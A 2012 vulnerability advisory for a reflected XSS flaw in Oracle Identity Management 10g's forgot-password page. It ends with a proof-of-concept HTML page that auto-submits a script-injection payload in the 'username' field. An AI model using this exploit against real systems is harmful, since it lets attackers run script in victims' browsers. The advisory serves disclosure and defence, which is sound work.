Oracle Identity Management 10g (username) XSS POST Injection Vulnerability

🗓️ 04 Oct 2012 00:00:00Reported by Gjoko KrsticHigh five to Bruce!Type

zeroscience🔗 www.zeroscience.mk👁 24 Views

Oracle Identity Management 10g XSS POST Injection Vulnerability, user input to 'username' parameter via POST method vulnerable to arbitrary HTML and script code executio

<!--

Oracle Identity Management 10g (username) XSS POST Injection Vulnerability


Vendor: Oracle Corporation
Product web page: http://www.oracle.com
Affected version: 10g (10.1.4.0.1)

Summary: Oracle Identity Management enables organizations to effectively
manage the end-to-end lifecycle of user identities across all enterprise
resources, both within and beyond the firewall and into the cloud. The
Oracle Identity Management platform delivers scalable solutions for identity
governance, access management and directory services. This modern platform
helps organizations strengthen security, simplify compliance and capture
business opportunities around mobile and social access.

Desc: Oracle Identity Management suffers from a reflected XSS POST Injection
vulnerability when parsing user input to the 'username' parameter via POST
method thru '/usermanagement/forgotpassword/index.jsp' script. Attackers can
exploit this weakness to execute arbitrary HTML and script code in a user's
browser session.

Tested on: Oracle Application Server 10g httpd 10.1.2.2.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5110
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5110.php


25.09.2012

--><html>
<head>
<title>Oracle Identity Management 10g (username) XSS POST Injection Vulnerability</title>
</head>
<body>
<form action="https://192.168.248.132/usermanagement/forgotpassword/index.jsp" method="POST" name="XSS">
<input name="btnSubmit" type="hidden" value="SUBMIT"/>
<input name="username" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
</form>
<script type="text/javascript">
   document.XSS.submit();
</script>
</body>
</html>

04 Oct 2012 00:00Current

6.1Medium risk

Vulners AI Score6.1